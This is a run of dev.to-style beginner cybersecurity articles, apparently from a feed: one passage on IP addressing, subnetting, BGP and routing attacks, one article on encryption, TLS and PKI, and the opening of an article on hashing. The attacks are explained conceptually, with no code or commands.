&lt;p&gt;IP addressing, subnetting and CIDR decide how networks are divided, who can talk to whom, and where traffic is allowed to go. From a cybersecurity perspective, these concepts are not just networking basics. They directly affect attack surface, network isolation, access control and traffic visibility.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fnohzswlzjdjcl2ows4ay.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fnohzswlzjdjcl2ows4ay.png" alt=" " width="800" height="496"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;IP Addressing&lt;/strong&gt;&lt;br&gt;
Every device gets an IP address so it can send and receive data.&lt;br&gt;
If an attacker knows the IP range of a network, they know what to scan and target. Public IPs are visible on the internet, private IPs stay inside internal networks.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Subnets&lt;/strong&gt;&lt;br&gt;
A subnet divides a large network into smaller segments.&lt;br&gt;
This is one of the most powerful security tools. Subnets isolate systems so attackers cannot move freely inside the network. A flat network means one compromise can spread everywhere.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;CIDR&lt;/strong&gt;&lt;br&gt;
CIDR notation (for example, 192.168.1.0/24) defines how many IPs a network contains. Smaller CIDR ranges limit exposure. Larger ranges expose more hosts. Good CIDR planning reduces unnecessary access between systems and makes intrusion detection easier.&lt;/p&gt;

&lt;p&gt;Security importance&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Subnet boundaries limit lateral movement.&lt;/li&gt;
&lt;li&gt;Sensitive systems should live in restricted subnets.&lt;/li&gt;
&lt;li&gt;Firewalls use CIDR blocks to permit or deny access.&lt;/li&gt;
&lt;li&gt;Attackers scan entire subnets to find weak devices.&lt;/li&gt;
&lt;li&gt;Wrong subnetting exposes internal services to outsiders.&lt;/li&gt;
&lt;li&gt;Poor segmentation allows ransomware to spread quickly.&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;p&gt;IP ranges tell you what exists. Subnets separate what should be isolated. CIDR defines how large or small each segment is.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  8. How Routers Forward Packets (Routing Tables &amp;amp; Decisions)
&lt;/h2&gt;

&lt;p&gt;A router does not understand websites or applications. It only cares about the destination IP address. When a packet arrives, the router looks at the IP, finds the closest matching network in its routing table, and forwards the packet to the next hop.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Routing tables&lt;/strong&gt; contain entries such as:&lt;br&gt;
Network prefix, next hop router, interface to use, and a metric that tells which path is better. Routes can be learned dynamically from other routers or configured manually.&lt;/p&gt;

&lt;p&gt;Routers never modify the actual content of the packet. They only adjust the &lt;strong&gt;Layer 2 headers&lt;/strong&gt; as the packet moves across different networks. This enables the packet to hop from one network to another until it reaches its destination.&lt;/p&gt;




&lt;h2&gt;
  
  
  9. BGP: The Protocol That Runs the Internet
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;BGP (Border Gateway Protocol)&lt;/strong&gt; is the system that decides how traffic moves between different networks across the entire internet. Every internet service provider, cloud provider, and large organization uses BGP to announce which IP ranges they own and how to reach them.&lt;/p&gt;

&lt;p&gt;BGP is basically the "global routing protocol." Routers inside a single company use internal routing, but once traffic goes outside your network, BGP tells the internet where to send it next. It connects thousands of independent networks into one global internet.&lt;/p&gt;

&lt;p&gt;BGP works through announcements. A network tells the world: “These IP ranges belong to me. Send traffic here through this path.” Other networks learn these routes and build a massive worldwide routing map.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;The problem is that BGP trusts everyone by default. There is no authentication built into the original design. If a network announces routes it does not own, others may accept it. This causes major issues.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Incorrect or malicious BGP announcements can:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Redirect traffic to the wrong place.&lt;/li&gt;
&lt;li&gt;Cause outages by blackholing routes.&lt;/li&gt;
&lt;li&gt;Enable large-scale man-in-the-middle attacks.&lt;/li&gt;
&lt;li&gt;Make parts of the internet disappear temporarily.&lt;/li&gt;
&lt;li&gt;Slow down or break routing paths.&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  10. Routing Attacks and Traffic Hijacking
&lt;/h2&gt;

&lt;p&gt;Routing attacks target the systems that move data across networks. If an attacker can influence routing, they can intercept traffic, reroute it, or make parts of the network unreachable. These attacks do not target applications or servers directly. They target the path that packets take.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;BGP Hijacking&lt;/strong&gt;&lt;br&gt;
A network announces IP ranges it does not own. Other networks accept this announcement and start sending traffic to the wrong place. The attacker can intercept, drop, or inspect the traffic. This is one of the most dangerous routing attacks on the internet.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;BGP Route Leaks&lt;/strong&gt;&lt;br&gt;
A network accidentally announces internal routes to the public internet. This causes traffic to take inefficient or completely broken paths. It can disrupt global routing even if it is not intentional.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Man-in-the-Middle via Routing&lt;/strong&gt;&lt;br&gt;
If an attacker controls a router or influences routing tables, they can quietly pass traffic through their network. The user sees nothing suspicious, but all packets flow through the attacker.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Blackholing Traffic&lt;/strong&gt;&lt;br&gt;
A malicious or misconfigured route sends traffic into a place where it gets dropped. This makes a service or region unreachable.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;ICMP Redirect Attacks&lt;/strong&gt;&lt;br&gt;
Routers use ICMP to suggest better paths. Attackers send fake ICMP redirects to trick devices into sending traffic to them instead of the real router.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Route Manipulation Inside Local Networks&lt;/strong&gt;&lt;br&gt;
Incorrect static routes or compromised routers inside a company network can redirect internal traffic to rogue devices.&lt;/p&gt;




&lt;h2&gt;
  
  
  11. Putting It Together: How Data Travels Across the Internet
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbz9g1njum7oyz3c68osq.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbz9g1njum7oyz3c68osq.jpg" alt=" " width="800" height="1023"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Here is the full journey in simple terms.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Your browser wants to reach a domain.&lt;/strong&gt;&lt;br&gt;
It asks DNS to translate the name into an IP address.&lt;br&gt;
DNS resolvers contact root, TLD and authoritative servers to get the correct IP.&lt;br&gt;
Your device caches the answer and begins sending packets toward that IP.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Your packet goes to your router.&lt;/strong&gt;&lt;br&gt;
Your router checks its routing table and sends the packet to the next hop.&lt;br&gt;
Each router along the way does the same: look at the IP, choose a path, forward it.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Inside your local network, switching happens at Layer 2.&lt;/strong&gt;&lt;br&gt;
Once the packet leaves your network, Layer 3 routing takes over.&lt;br&gt;
Across the internet, BGP decides which networks your packet must pass through.&lt;/p&gt;

&lt;p&gt;Eventually the packet reaches the destination server’s network.&lt;br&gt;
&lt;strong&gt;Local routers deliver it to the correct server.&lt;/strong&gt;&lt;br&gt;
The server processes the request and sends a response back through the same chain.&lt;/p&gt;

&lt;p&gt;Every step in this journey is an attack surface.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;DNS can be poisoned.&lt;/li&gt;
&lt;li&gt;Routers can be misconfigured or hijacked.&lt;/li&gt;
&lt;li&gt;BGP can redirect traffic.&lt;/li&gt;
&lt;li&gt;Local networks can be spoofed.&lt;/li&gt;
&lt;li&gt;Firewalls can block or allow incorrectly.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  12. Summary and What Comes Next (Part 3 Preview)
&lt;/h2&gt;

&lt;p&gt;In this part, you learned how the internet actually works beneath the surface: how &lt;strong&gt;DNS resolves&lt;/strong&gt; names into &lt;strong&gt;IP addresses&lt;/strong&gt;, how **routing **directs packets across networks, how **BGP **keeps the global internet connected, and how attackers can abuse these systems through poisoning, hijacking, and manipulation. Understanding DNS and routing is essential for every cybersecurity professional because attacks often begin by targeting these foundational layers.&lt;/p&gt;

&lt;p&gt;In &lt;strong&gt;Part 3&lt;/strong&gt;, we move from “&lt;strong&gt;how traffic travels&lt;/strong&gt;” to how traffic is secured, filtered, and controlled. We’ll explore &lt;strong&gt;firewalls&lt;/strong&gt;, &lt;strong&gt;VPNs&lt;/strong&gt;, &lt;strong&gt;proxies&lt;/strong&gt;, &lt;strong&gt;tunneling&lt;/strong&gt;, &lt;strong&gt;split tunneling&lt;/strong&gt;, and modern &lt;strong&gt;Zero Trust Network Access&lt;/strong&gt;. These topics form the defensive perimeter of nearly every organization and are crucial for understanding secure access and network hardening.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Next:&lt;/strong&gt; Networking for Cybersecurity (Part 3): Firewalls, VPNs &amp;amp; Proxies&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>network</category>
      <category>dns</category>
    </item>
    <item>
      <title>A Deep Cybersecurity View of Encryption</title>
      <dc:creator>Elvin Seyidov</dc:creator>
      <pubDate>Thu, 04 Dec 2025 22:36:56 +0000</pubDate>
      <link>https://forem.com/alvinseyidov/a-deep-cybersecurity-view-of-encryption-g4b</link>
      <guid>https://forem.com/alvinseyidov/a-deep-cybersecurity-view-of-encryption-g4b</guid>
      <description>&lt;p&gt;When people first learn encryption, they imagine a simple system where one key locks data and another unlocks it. But real cybersecurity uses a much richer architecture: AES, RSA, ECC, TLS handshakes, cipher suites, key exchange algorithms, certificate validation, and more. This article breaks down these pieces and explains how real-world encryption protects data across the internet.&lt;/p&gt;

&lt;h2&gt;
  
  
  Encryption: Two Way Protection
&lt;/h2&gt;

&lt;p&gt;Encryption turns readable data into unreadable ciphertext. With the correct key, it can be reversed.&lt;/p&gt;

&lt;p&gt;There are two types.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Symmetric Encryption&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Uses a single key to both encrypt and decrypt data. The same key locks and unlocks the information. &lt;br&gt;
Used in:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;WiFi&lt;/li&gt;
&lt;li&gt;VPN&lt;/li&gt;
&lt;li&gt;Disk encryption&lt;/li&gt;
&lt;li&gt;TLS sessions&lt;/li&gt;
&lt;/ul&gt;




&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;AES&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;A modern and very strong symmetric encryption standard. &lt;br&gt;
&lt;em&gt;It is used everywhere today because it is fast and secure.&lt;/em&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;DES&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;An old symmetric cipher that is no longer safe. &lt;br&gt;
&lt;em&gt;Its key size is too small, making it easy to crack.&lt;/em&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;3DES&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;An improved version of DES but still outdated. &lt;br&gt;
&lt;em&gt;It is slower and weaker compared to modern AES.&lt;/em&gt;&lt;/p&gt;




&lt;p&gt;&lt;strong&gt;Asymmetric Encryption&lt;/strong&gt;&lt;br&gt;
Uses two different keys: one public and one private. The public key encrypts, and the private key decrypts.&lt;br&gt;
Used in:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;HTTPS&lt;/li&gt;
&lt;li&gt;Digital signatures&lt;/li&gt;
&lt;li&gt;Identity verification&lt;/li&gt;
&lt;li&gt;Secure email&lt;/li&gt;
&lt;/ul&gt;




&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;RSA&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;A well-known asymmetric algorithm that uses large keys. &lt;br&gt;
&lt;em&gt;Reliable but slower and older compared to newer systems.&lt;/em&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;ECC (Elliptic Curve Cryptography)&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;A modern asymmetric system with smaller keys and equal strength. &lt;br&gt;
&lt;em&gt;It is faster, lighter, and widely used in modern security systems.&lt;/em&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Cipher Modes (How Block Encryption Works)
&lt;/h2&gt;

&lt;p&gt;Block ciphers like AES encrypt only fixed-size pieces of data, so we need “modes” to handle real messages.&lt;br&gt;
&lt;em&gt;Think of AES as a machine that can only lock small boxes; cipher modes explain how to lock a whole suitcase full of boxes.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;CBC (Cipher Block Chaining)&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;CBC encrypts each block by combining it with the previous encrypted block.&lt;br&gt;
This dependency creates a chain, but also makes CBC vulnerable to padding oracle attacks and outdated for modern use.&lt;br&gt;
&lt;em&gt;Imagine linking boxes together - if the first link breaks, everything after it becomes unsafe.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;GCM (Galois/Counter Mode)&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;GCM uses counter mode encryption plus a built-in integrity check.&lt;br&gt;
It provides confidentiality, integrity, and authenticity at the same time and is the standard in modern TLS.&lt;br&gt;
&lt;em&gt;It’s like locking your box and also putting a tamper-proof seal on it.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;TLS Handshake&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The TLS handshake is the process where two sides securely agree on encryption before any data is exchanged.&lt;br&gt;
It sets up keys, verifies certificates, and chooses secure algorithms.&lt;br&gt;
&lt;em&gt;It’s like two people agreeing on a secret language first, before they start talking.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;During the handshake, the client and server:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Agree on encryption algorithms&lt;/li&gt;
&lt;li&gt;Exchange public keys&lt;/li&gt;
&lt;li&gt;Verify certificates&lt;/li&gt;
&lt;li&gt;Create a temporary symmetric session key&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This session key is what encrypts all data afterward.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Cipher Suites&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;A cipher suite is a predefined “recipe” listing which algorithms will be used during a TLS session.&lt;br&gt;
It defines the exact combination of AES mode, RSA/ECC method, hashing algorithm, and handshake mechanism.&lt;br&gt;
&lt;em&gt;Imagine ordering a combo meal - everything in the combo is fixed: drink, burger, fries. A cipher suite is a “security combo.”&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;A typical modern cipher suite uses:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;ECDHE for key exchange&lt;/li&gt;
&lt;li&gt;AES-GCM for encryption&lt;/li&gt;
&lt;li&gt;SHA-256 for integrity&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Each part plays a role in securing the connection.&lt;/p&gt;




&lt;h2&gt;
  
  
  TLS, Certificates, Keys, Trust
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;TLS (Transport Layer Security)&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;TLS provides a secure, encrypted connection between a client and a server.&lt;br&gt;
It combines AES, RSA/ECC, certificates, and key exchange to protect data.&lt;br&gt;
&lt;em&gt;It’s like creating a private, locked tunnel between two computers so no one else can read the conversation.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;SSL&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;SSL is the older version of TLS.&lt;br&gt;
It is outdated and no longer considered safe.&lt;br&gt;
&lt;em&gt;Think of SSL like an old, broken lock - people used it before, but no one trusts it today.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Key Exchange Methods&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;em&gt;DH (Diffie–Hellman)&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;A method that allows two parties to create a shared secret key over an insecure network.&lt;br&gt;
No secret needs to be sent directly; both sides compute it separately.&lt;br&gt;
&lt;em&gt;It’s like two people independently creating the same secret number without ever telling each other what it is.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;em&gt;ECDH (Elliptic Curve Diffie–Hellman)&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The elliptic-curve version of Diffie–Hellman.&lt;br&gt;
It provides the same result but with smaller keys and better security per bit.&lt;br&gt;
&lt;em&gt;It’s the faster, stronger, modern version of DH - same idea, better performance.&lt;/em&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  PKI (Public Key Infrastructure)
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;PKI&lt;/strong&gt; is the full system that makes browsers and devices trust websites.&lt;br&gt;
It includes certificates, certificate authorities, trust chains, revocation, and validation systems.&lt;br&gt;
&lt;em&gt;PKI is like the world’s ID system for the internet - it proves who is real.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;PKI is not a single tool.&lt;br&gt;
It is the entire trust framework that the internet depends on.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Root Trust&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Your device contains a built-in list of trusted Certificate Authorities (CAs).&lt;br&gt;
If a root CA is trusted, any certificate issued under it is trusted automatically.&lt;br&gt;
&lt;em&gt;It’s like your phone already knowing which ID offices are legitimate.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Certificate&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;A digital document that proves the identity of a website, server, or software.&lt;br&gt;
It contains the public key, domain name, issuer, expiration date, and cryptographic signatures.&lt;br&gt;
&lt;em&gt;A certificate is like an online ID card that proves a website is really who it claims to be.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Server Certificate&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The certificate installed on a website or API server.&lt;br&gt;
Browsers check it during the TLS handshake to confirm identity.&lt;br&gt;
&lt;em&gt;It’s like the website showing its ID before you talk to it.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Intermediate Certificate&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;A certificate issued by a trusted root CA and used to sign server certificates.&lt;br&gt;
It forms part of the certificate chain and helps distribute trust securely.&lt;br&gt;
&lt;em&gt;Think of it as a manager who verifies employees on behalf of the company owner.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Root Certificate&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The top-level certificate stored directly in your device’s trust store.&lt;br&gt;
If a root certificate is trusted, all certificates beneath it are trusted.&lt;br&gt;
&lt;em&gt;The root certificate is like the highest authority that everyone trusts by default.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Certificate Validity&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Certificates have expiration dates to limit risk.&lt;br&gt;
Expired certificates immediately lose trust and must be renewed.&lt;br&gt;
&lt;em&gt;Just like passports, certificates are not valid forever.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Self-Signed Certificate&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;A certificate that is signed by itself instead of a CA.&lt;br&gt;
Useful for development, internal systems, or testing, but not trusted publicly.&lt;br&gt;
&lt;em&gt;It’s like writing your own ID at home - useful privately, useless publicly.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Wildcard Certificate&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;A certificate that covers all subdomains of a domain (e.g., *.example.com).&lt;br&gt;
It simplifies management for large systems.&lt;br&gt;
&lt;em&gt;It’s like one ID badge that unlocks every room in a building.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;CA (Certificate Authority)&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;A trusted organization that issues certificates to websites and companies.&lt;br&gt;
Browsers trust these certificates because they trust the CA.&lt;br&gt;
&lt;em&gt;A CA is like a government office that issues official IDs.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;OCSP (Online Certificate Status Protocol)&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;A real-time method to check if a certificate is still valid.&lt;br&gt;
Faster and more modern than CRLs.&lt;br&gt;
&lt;em&gt;Like calling the ID office to ask: “Is this ID still good?”&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Certificate Chain&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;A chain connecting the server certificate → intermediate CA → root CA.&lt;br&gt;
Browsers follow this chain to verify trust.&lt;br&gt;
&lt;em&gt;It’s like verifying an employee by checking their manager, then the company owner.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;EV Certificates (Extended Validation)&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Certificates issued after stronger identity checks.&lt;br&gt;
Security is the same, but identity verification is stricter.&lt;br&gt;
&lt;em&gt;It’s like a passport that went through extra background checks.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Certificate Pinning&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;An app or service chooses to trust only one specific certificate or public key.&lt;br&gt;
This blocks fake certificates even if a CA is compromised.&lt;br&gt;
&lt;em&gt;It's like saying “I trust only THIS exact ID, no substitutes.”&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Key Lifecycle&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Keys must be securely generated, stored, rotated, expired, and destroyed.&lt;br&gt;
Lifecycle management keeps systems safe and minimizes risk.&lt;br&gt;
&lt;em&gt;Just like changing locks over time, keys can’t stay the same forever.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Code Signing&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Software is signed with a private key to prove authenticity.&lt;br&gt;
The system verifies the signature before running the software.&lt;br&gt;
&lt;em&gt;It's like sealed packaging - if the seal is broken, don’t trust it.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Trust Chain&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The trust chain is the sequence of certificates that link a server certificate back to a trusted root certificate.&lt;br&gt;
Each certificate is signed by the one above it, forming a chain of trust.&lt;br&gt;
&lt;em&gt;It’s like verifying a person through their manager, then the company owner - each level confirms the one below.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Revocation List&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;A revocation list is a published list of certificates that are no longer valid or trusted.&lt;br&gt;
It tells browsers which certificates should be rejected even if they haven't expired.&lt;br&gt;
&lt;em&gt;It’s like a list of ID cards that have been canceled and should no longer be accepted.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;CRL (Certificate Revocation List)&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;A CRL is a file maintained by a Certificate Authority listing all revoked certificates.&lt;br&gt;
Browsers can download it to check whether a certificate has been revoked.&lt;br&gt;
&lt;em&gt;Think of it as a printed list of banned ID numbers updated regularly.&lt;/em&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Authentication and Identity Security
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Kerberos&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Kerberos is an authentication protocol that uses encrypted tickets to verify identity in Windows networks.&lt;br&gt;
It relies on symmetric encryption and key distribution centers to authenticate users securely.&lt;br&gt;
&lt;em&gt;It’s like getting a stamped “entry ticket” that proves who you are without showing your password again.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;WPA3&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;WPA3 is the modern Wi-Fi security standard using strong encryption and key exchange.&lt;br&gt;
It replaces WPA2 with safer algorithms, forward secrecy, and protection against brute-force attacks.&lt;br&gt;
&lt;em&gt;It’s the upgraded lock on your Wi-Fi that attackers cannot easily break.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;SAML&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;SAML is an enterprise identity protocol that uses signed and sometimes encrypted XML messages.&lt;br&gt;
It relies on digital signatures and optional encryption to transfer identity securely.&lt;br&gt;
&lt;em&gt;It’s like sending a sealed and stamped letter that proves who you are to another website.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;OIDC (OpenID Connect)&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;OIDC is an identity protocol built on OAuth2 that uses signed JSON tokens (ID Tokens).&lt;br&gt;
It heavily relies on JWTs, signatures, and encryption options to securely carry identity data.&lt;br&gt;
&lt;em&gt;It’s like a digital ID card signed by a trusted provider.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;JWT (JSON Web Token)&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;JWT is a token format that uses signatures (and sometimes encryption) to protect data.&lt;br&gt;
The token ensures the data hasn’t been changed and can optionally hide the contents with encryption.&lt;br&gt;
&lt;em&gt;It’s like a tamper-proof envelope - you can’t alter it without breaking the seal.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Access Tokens&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Access tokens are short-lived credentials used to access APIs securely.&lt;br&gt;
They are often signed (or encrypted) to prevent tampering.&lt;br&gt;
&lt;em&gt;It’s like a temporary access pass that expires quickly for safety.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Federation&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Federation allows identity information to be securely shared across different systems.&lt;br&gt;
It uses signing and encryption to ensure identities are transferred safely.&lt;br&gt;
&lt;em&gt;It’s like two companies agreeing to trust each other’s ID cards.&lt;/em&gt;&lt;/p&gt;




&lt;p&gt;Encryption can seem overwhelming at first, but once you see how the algorithms, keys, and trust layers connect, the entire system becomes understandable. This foundation will help you learn even deeper cybersecurity concepts later.&lt;/p&gt;

</description>
      <category>cybersecurity</category>
    </item>
    <item>
      <title>A Deep Cybersecurity View of Hashing</title>
      <dc:creator>Elvin Seyidov</dc:creator>
      <pubDate>Wed, 03 Dec 2025 06:56:16 +0000</pubDate>
      <link>https://forem.com/alvinseyidov/a-deep-cybersecurity-view-of-hashing-encryption-and-encoding-1adp</link>
      <guid>https://forem.com/alvinseyidov/a-deep-cybersecurity-view-of-hashing-encryption-and-encoding-1adp</guid>
      <description>&lt;p&gt;When I first started learning cybersecurity, I thought hashing was just a simple one-way function that turns data into a fixed-length value. But later I realized that real systems use hashing in many deeper and more complex ways—password storage, integrity checks, digital signatures, HMAC, KDFs like PBKDF2 and Argon2, salting, peppering, and protection against attacks such as rainbow tables or brute force.&lt;/p&gt;

&lt;p&gt;In this article, I explain hashing from both the beginner perspective and the real-world cybersecurity perspective, showing how all these pieces fit together into a complete security system.&lt;/p&gt;




&lt;p&gt;&lt;strong&gt;Hashing&lt;/strong&gt; converts data into a fixed-length value using a one-way mathematical function that cannot be reversed.&lt;br&gt;
It is used to verify integrity, protect passwords, and ensure security without ever exposing the original data.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Message digest&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The result produced by a hash function. &lt;br&gt;
&lt;em&gt;It’s a fixed-length “fingerprint” of the input data.&lt;/em&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Collision resistance&lt;/strong&gt; &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;A property that makes it hard to find two inputs with the same hash. &lt;br&gt;
&lt;em&gt;Good hash functions make collisions practically impossible.&lt;/em&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;MD5&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;An old hashing algorithm that is now broken. &lt;br&gt;
&lt;em&gt;Collisions are easy to create, so it should never be used for security.&lt;/em&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;SHA1&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;A once-popular hashing algorithm that is now considered weak. &lt;br&gt;
&lt;em&gt;Attackers can generate collisions with modern hardware.&lt;/em&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;SHA-2 (SHA-256, SHA-512)&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;A very strong and secure family of hash algorithms. &lt;br&gt;
&lt;em&gt;Widely used today for passwords, signatures, and certificates.&lt;/em&gt;&lt;/p&gt;

&lt;ul&gt;
